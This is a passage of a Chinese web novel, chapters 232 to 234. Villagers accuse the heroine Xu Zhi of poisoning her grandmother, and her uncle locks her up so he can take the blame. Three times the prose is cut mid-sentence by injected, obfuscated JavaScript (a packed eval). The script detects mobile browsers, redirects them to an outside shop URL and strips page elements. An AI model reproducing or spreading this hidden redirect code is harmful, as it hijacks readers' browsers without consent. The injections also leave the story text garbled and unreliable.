而听到这话,其他的人也想到了那天的情形。 只要去了的人都知道,许老太被那人特意留了个香囊。 还特意交代是许芷让送的。 高老太却是半信半疑,开口问道:“这香囊也能害人?不就有点味儿。” 牛圈子接过来说道:“有什么不能呢,那迷晕人的**不就是吹进屋里,别人一闻就昏过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303212|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。 那为啥**不能是闻一闻就能**。” 说完之后,众人纷纷觉得有理。 可还是有人不解的问:“可许丫头第二日就把我们这些得了东西都叫了过去,说是腊八那日送的东西是有人故意借了她的名头做的。 还怕那人害我们,检查了我们的东西,都没事才作罢,还给我们重新送了东西。 真要是许丫头做的,她何必这样呢?” 小婷一听撇撇嘴,说道:“何必?你现在能为她出头说话就是她的目的。 做了这种大逆不道的事情,当然要遮掩过去。 可是那当着那么多人的面送出去,想要遮掩还能让这些知道的人都成了哑巴不成? 只能兴师动众的假装第一日送东西的跟自己无关,第二日再送了东西给大家。 又能得了个好名声,还能摆脱了自己的嫌疑。 这是一举两得,没想到这丫头年纪不大,心眼子不少。” 这话一出来,已经让不少人相信了。 可还是有人不信,反驳她:“不可能,许丫头不是这样的人,她可是心善得很,我下坪村的表哥都说了。 许丫头从不亏待大家,与人很是和善。” “那与别人和善是正常的,但是这可是把她小小年纪就丢了的许老太,也是差点搅毁了她的药田生意的人。 同时还去了城里在人家铺子面前撒泼打滚,企图毁了许芷生意的人。 这一桩桩一件件,许丫头恨上了这老太太也正常吧。 想要除掉这老太太,也是为了自己没有什么障碍在。 要不然谁能知道这恶毒的许老太,什么时候又给她想个什么阴招使绊子。” 小婷说的‘有理有据’,许家人的作为谁不知道,所以许丫头会这么做好像也能理解。 “别说,这许丫头还真狠心啊,说把人解决了解决了。” “谁说不是呢,怎么说也是亲奶奶呢。” “亲奶奶咋了,哪有千日防贼的道理,指不定什么时候这许老太又给许芷挖了坑,所以直接把问题的根源扼杀了,也不是不能理解。” “那也是亲奶奶呢。” 第232章 怎么不拦 看着众人激烈的讨论着,身为里正的许经年立马呵止了大家。 “行了行了,人都没了,你们在这胡乱猜测什么?” 听到他开口,本来议论纷纷的众人立刻闭上了嘴。 毕竟这可是里正,谁闲着没事儿跟里正对着干啊。 看到大家都安静了下来,他吐出一口浊气,开口道:“若是来帮着许家安排后事的,就留下。 若是看热闹的,就不必在这凑人头了。 发生这种丧事,还敢在这胡言乱语,是嫌自己家里过得太太平了是吗?” 说完他严肃的看向周围的乡亲,众人被他这样子吓的不敢再说话。 他又开口道:“那还都愣在这干什么?该干什么干什么去。” 说完,还想着会留下几个人帮着许留年家里料理这丧事。 可是他高估了许家,也低估了大家对许老太一家人的嫌恶。 说完这句话之后,竟然所有人都走了,没有一个人停留。 许经年叹了口气,觉得自己这个里正难做的很。 但现在不是说这些的时候,他赶紧转身进了许家了解情况,看看许过年到底要去干什么。 要是真的是去找许芷,那怎么着也得把人拦住了。 进了屋里之后,大哥许留年先看到了许经年,他赶紧抹了抹脸上的泪,起身迎他。 “经年,来啦。” 许经年快步走上前,看着许家剩下的人颓然的样子,内心也有些沉重的嗯了一声。 虽然他大娘活着的时候算计的厉害,他们整个许家,乃至整个村子跟她都不交好。 甚至到了她死前,对许芷做的那些破事儿,跟十里八乡的人都结了仇。 可人真的没了的时候,就想不到那些了。 老话都说人死债消,大娘人都走了,活人还跟**计较什么。 可他一时也说不出什么安慰的话,自己一个大男人,面对大伯家这三个儿子,还真不知道该怎么办。 他踌躇了半天也才说出来: “我大娘......” 说完,看到许留年兄弟三个瞬间又红了的眼眶,他是怎么都说不下去了。 想了想自己来的目的,直接开口问:“老三这是带着我娘干啥去?” 许留年一听这个,刚刚被三弟骂的狗血淋头的气性泛了出来。 “还能干什么去,他非要带着娘的尸身去找老二家丢到下坪村的那丫头的事儿,你说他是不是疯了? 我娘都没了,不想着怎么赶紧让老人入土为安,竟然想着把人放到铺子前去让那丫头赔命,我看他真是疯了!” 而一听这个,许经年大骇: “啥!你们怎么不拦着他呢?” 他着急的问许家三兄弟。 许留年一脸为难得说道:“老三啥脾气,经年你怎么会不知道,我们能拦得住吗? 他手里掂着把菜刀,你进来的时候可看到了? 那混小子可放了话了,谁敢拦着他,他就用那菜刀**谁,你说这谁敢拦?” 依照许经年对许过年的了解,他确实能干得出这事儿。 而且刚刚在门外他不是他拿着菜刀威胁他们了。 他叹了口气,心想自己还指望着用这点血缘亲情,看看能不能过了年劝劝许芷。 也来他们村子发展发展药田,让村里人都过上好日子。 可要是由着许过年这么一闹,还怎么可能呢? 所以为了村子的发展,为了自己还能当上这个里正,无论如何也要拦住许过年。 他想通之后,叫着许留年和许富年说:“两位哥哥,走吧,赶紧把许老三弄回来,可不能由着他胡来。” 许留年和许富年一听立刻摆手又摇头。 “不不不,我们俩可不去,就他那不管不顾的性子,我弄不了他。” 许富年后怕的说着。 到现在他好像都还能听到刚刚菜刀砸在桌子上的声音。 一听这话,许经年愤愤的啧了一声。 “你们是他哥,别人不去拦着就算了,你们俩不去像什么样子? 他可是把你们俩亲娘的尸身搬走了,被折辱的是你们的亲娘,你们俩不去谁去! 再说了,就你们家现在谁会来帮忙?还不赶紧吧,再晚一会儿真无法挽回了。” 可话说到了这个地步,两人还是软弱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303213|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢去。 许经年彻**了:“我告诉你,许老三手里可有菜刀,他要是做了什么不好的事情,你真以为你们就没事吗? 那可是株连九族的大罪! 到时候咱们这许家谁也逃不过,别说上面的老,下面的小了,就连地里埋的都要挖出来再死一次。” 他这半吓半威胁的话起了效,许留年和许富年两个人的脸色都白了几分,甚至腿脚也开始抖了起来。 许留年有些哆嗦的问:“那我女儿和外孙?” 许经年重声道:“只要你沾了你的血脉的一个都逃不过!” 话音落下,许留年早已支撑不住,重重的跌坐在了身后的床上。 他和许富年两个人都浑身发抖起来。 只不过两个人害怕的点不一样,许留年是怕自己的女儿和外孙被牵连,而许富年只是担心自己小命不保。 如此两人才松了口,要跟着许经年一起去拦着许过年。 看着他们三人要走,许裕年也坚定地站出来。 “三位哥哥且慢,我也要跟你们一起去,我是不会让三哥毁了这个家的。” 许经年刚开始没叫上他,是因为觉得许裕年是几人中最小的,有什么事儿自然该哥哥们顶上,不能让他这个弟弟来。 其次也是考虑着,许裕年太文弱了,怕到时候跟着去了,不说帮着他们拦一拦许过年,反而还需要三人保护他就不成了。 所以他委婉的拒绝道:“裕年啊,你有这份心哥哥心领了,只是有哥哥们在呢,断然没有让你这个弟弟冲上前的道理。” 说完,看到许裕年还想说点什么,他立刻又跟上说道:“主要是,几位哥哥一走,你就是这个家的顶梁柱。 完事还需要你撑着呢,所以在哥哥们,回来之前,你一定要顾好家里的女人和孩子,知道吗?” 许裕年吸了一口气不甘的还想说些什么,可是一想到自己这个当里正的堂哥说的没错,所以只好有些颓然的点了点头。 “行吧,那三位哥哥你们快去吧,早点回来,我一定把家里看好。” 许经年欣慰的拍了拍他的肩膀,接着头也不回的跟许留年和许富年出去了。 第233章 许芷被关 这边许芷和邓耧子驾着马一路飞驰回到了铺子里,一到铺子里,马也来不及拴。 邓耧子拽着许芷往后面走。 看到他们回来,王茹娇急忙上前,想要问问怎么回事。 可是邓耧子来不及说,只是急声吩咐王茹娇。 “去外面把马牵回来拴好。” 王茹娇虽然还想问,但还是乖乖的去外面牵马去了。 而刘喜英和孟雨兰虽然也着急,可是手头都有客人在招呼,不好撇了客人去问。 而这边许芷想要挣脱舅舅邓耧子的桎梏。 可是舅舅跟她的力气悬殊太大,她根本无力抵抗。 只能任由舅舅给她拉到了后院。 路过他们当仓库的房间的时候,邓耧子还顺手拿起了窗台上放着的锁链和铜锁。 许芷意识到了什么激烈的反抗着:“舅舅,这不是这样就能解决的事情,你快放开我,这样真的不是办法。” 可是邓耧子并不听她的解释,只是将她丢进了许芷住在这里的房间。 用锁链将门从外面死死的锁上。 而被关进去的许芷,使劲拍着门,“舅舅,你就听我的吧,我真的不会让自己有危险的,这件事不管跟我有没有关系都不能这样。” 可是任凭她怎么说,邓耧子都不接话。 “舅舅!你这样根本不是在帮我,这不是你把我关进来你去顶上就能解决的事情。 实话告诉你吧,这就是那个苏白薇设的局,他们针对的就是我,所以不管怎么样,他们都会把矛头指向我。 你这样做只是徒增牺牲!” 闻言,邓耧子才有了些反应。 他微微叹了口气,开口道:“小芷,舅舅没啥本事,只能帮你做到这了。 你放心,到时候一点出了事儿,舅舅会把所有揽到自己的头上。 你这么有本事一定会让我娘过上好日子的,过上我这个儿子怎么都做不好的好日子。 放心吧,不过是蹲大牢,再不济流放,可只要人活着就行。 可你一个小姑娘家不一样,那牢里那么苦,怎么能让你去呢? 真要是流放了,你走个几千里,怎么能受得了,我是个汉子,我行,你就别担心了,这件事儿就这样了。” 话音刚落下,刘喜英和孟雨兰就过来了。 因为邓耧子这样子太反常了,她们两人赶紧将所有的客人都安排走了之后,直接将休息的牌子挂了出去。 关了门之后赶紧过来看看到底是怎么回事,可是人一进来就听到了邓耧子的话。 这时刘喜英也顾不上什么避嫌不避嫌了,直接上前抓住了邓耧子的手,眼眶通红又不可置信道: “你在说什么呢?什么流放?什么蹲大牢?你跟小芷到底发生什么了?” 刚进来把马安置好的王茹娇和刘喜英身边的孟雨兰都一脸震惊的看着刘喜英,但是这会儿也不是细究这个的时候。 王茹娇也开口问邓耧子。 “耧子哥,你这是干啥啊?为啥把小芷关起来,你们出去到底发生啥事儿了?” 孟雨兰也急声道:“是啊,不管咋的,都不能把小妹关起来啊,有什么事咱们一起想办法。” 被关在里面又着急又无奈的许芷听到孟雨兰和王茹娇的话立马跟着说:“雨兰姐说的不错,你把我放出来,我们一起商量不行吗? 把我关起来你认下来就解决问题了吗?” 邓耧子闻言整个人也看起来十分纠结的样子,“可这次是人命关天的事情,我怎么能让你有危险!” 听到人命关天这四个字,孟雨兰三人都倒吸一口冷气。 心里清楚这次可不是什么简单的事情,而是沾上了人命。 可若是这样就更应该说出来,大家一起解决。 人命关天的事情可不是小事,这不应该他们两个人知道就这么过去了。 而是他们一起齐心协力渡过难关。 所以刘喜英劝邓耧子,“耧子,不管怎么样,不管这事儿有多严重,你得让我们知道啊。 也许在你们舅甥俩看来是难题,是不好解决的事情,但是多个人知道,多一个想法,事情就会有转机呢。 好多时候都是当局者迷,我们这些人平时看着好像做不得什么主,也没什么文韬武略。 可恰恰有时候就是我们这种想 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只是迂回了些,没有说让他把许芷放出来,而是把焦点转移到了发生了什么事上。 “那你总得告诉我们怎么回事吧?到时候我们也好跟你一起应对,要不然我们什么都不知道,万一坏了你的事儿怎么办?” 刘喜英言辞恳切,王茹娇也跟着说: “是啊耧子哥,真是要到了上公堂的地步,我哥就是衙门里的人,我总能求他帮上忙的吧?” “娇娇说的不错,咱们再想办法也不如娇娇她哥直接在衙门有话语权,所以你得说出来!” 孟雨兰语气强硬的说着。 邓耧子面露难色,可她们说的确实有道理。 无奈他只好开了口。 “许老太没了。” “什么!” 最惊讶的莫过于王茹娇,因为她最清楚许老太是谁。 而孟雨兰和刘喜英还是反应了一下才想通,两人也同样惊讶不已。 不敢想之前还在他们铺子面前中气十足的讹诈许芷的老太太,怎么就没了。 第234章 没有分别 王茹娇不可置信地开口问:“确定吗?” 邓耧子:“没确定我至于这样吗?” 孟雨兰想到了许芷走之前说的话,有些后怕地喃喃道:“人还真没了。” 而这话让王茹娇和刘喜英不明所以。 “你说什么,雨兰姐?” 王茹娇着急地拉住了孟雨兰的手,没控制住声音,大声问。 “你为什么会说人还真没了?你知道什么?” 孟雨兰:“我其实并不知道什么,只是小芷出去之前说她要赶紧赶去许家,要不然就该出人命了,所以我才这么说。” 刘喜英听完恍然大悟,“所以早上许过年来闹着一场,是因为他娘真的出事了,只是把气撒在了小芷的身上。” 这么一说,三人全都串起来了。 “这么说,因为许过年闹这一场,许芷察觉到了不对,人可能真的要没,许芷冲出去其实就是为了去救许老太。” 王茹娇总结道。 刘喜英一听,不赞同道:“凭什么去救她? 你看看许过年那个样子,老娘快病**不去找大夫,来咱们铺子找许芷算什么账? 他能算得着吗? 而且许家老太太做的那些事儿,我们小芷还愿意救她那就是比菩萨还慈悲的人,既然这样干嘛要躲起来。 还说什么坐牢、流放,真是吓**了。” 她还记得刚刚一进后院听到邓耧子这么说,她的魂都要被吓出来了。 “只怕不是这么简单的,刘婶子。” 孟雨兰跟着许芷叫刘喜英婶子,她面色凝重的说道: “重点不是许芷为什么这么做,而是许家人为什么那么做。 就像你说的,正常人娘都要**,你会去找仇人算账吗? 不应该先去找大夫,看看能不能把娘救回来。 可是许过年就是这么做了,还拿着斧头过来算账,口口声声说这件事跟小妹脱不开关系。 要么是他们见娘要走了,故意这么做,就是为了敲许芷一笔。 要么就是有人在背后推波助澜,把不是小芷做的事儿,按到了小芷的头上。 所以刘婶子耧子叔才会想到把小芷关起来,想着这样就能保护小芷。” 说完她还寻求肯定的看向了邓耧子。 听了孟雨兰所说,邓娄子点了点头。 “不错,那许家定然是要赃小芷的,所以我直接把小芷关起来,不管他们怎么做,我们能把这事儿给说过去就过去。 要是过不去,那我就替小芷认下了。” 一听这个,刘喜英的魂又飞了。 她着急的上前,劝道:“不行,你认什么,小芷没做的事情咱们一定不会被许家算计上的。 之前那么多次,不都没事,你可别傻! 这可是一条人命,要是真的把你关进去,可不是流放那么简单,那是要**的!” “我自然是知道这个道理的,可从前哪**了啊,这次不一样啊。 而且我也没说一定会到坐牢的地步,可要是一旦到了这种地步,那我只会选择这样做。 你们都想想,人都没死,许过年就敢上门找事,还那么理直气壮,要让许芷赔命。 人真没了,他会怎么咬小芷真的难说。 我只是觉得小芷这么有本事的人不能被他算计进去,要是真的需要一个人出来为这件事做个了断,我觉得我再合适不过。” 这话听得许芷和刘喜英她们四个人心里都又感动又无奈的。 尤其是许芷,她急得都要跳起来了。 “舅舅,我真的很感激你愿意为了我这么做,可是刘婶子有句话说得很对。 这件事跟我无关,我们认什么? 就算是他们有意栽赃陷害,局势对我们很不利,我们需要做的应该是澄清和证明他们是故意陷害。 而不是推出去一个替死鬼,把这件事按下了。 就算不是我,这件事只要舅舅你认下了,那是你做的跟我做的对外人来说有分别吗? 我们是一家人,而且从来许家人针对的都是我,你觉得你死咬着揽下,别人就会觉得我清白吗? 他们只会说我狼心狗肺、蛇蝎心肠,东窗事发竟然让亲舅舅去顶上。 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所以她再度开口:“舅舅,你就听我的吧,放我出去吧,我相信我说的这些,你都懂。 你只是太想替我分担,替我解决了。 但是还是得我们一起想办法,一起面对。 话我就说到这里了,放不放我出去,就看你自己了。” 说完,四个人都沉默不语,气氛一时间凝固住了。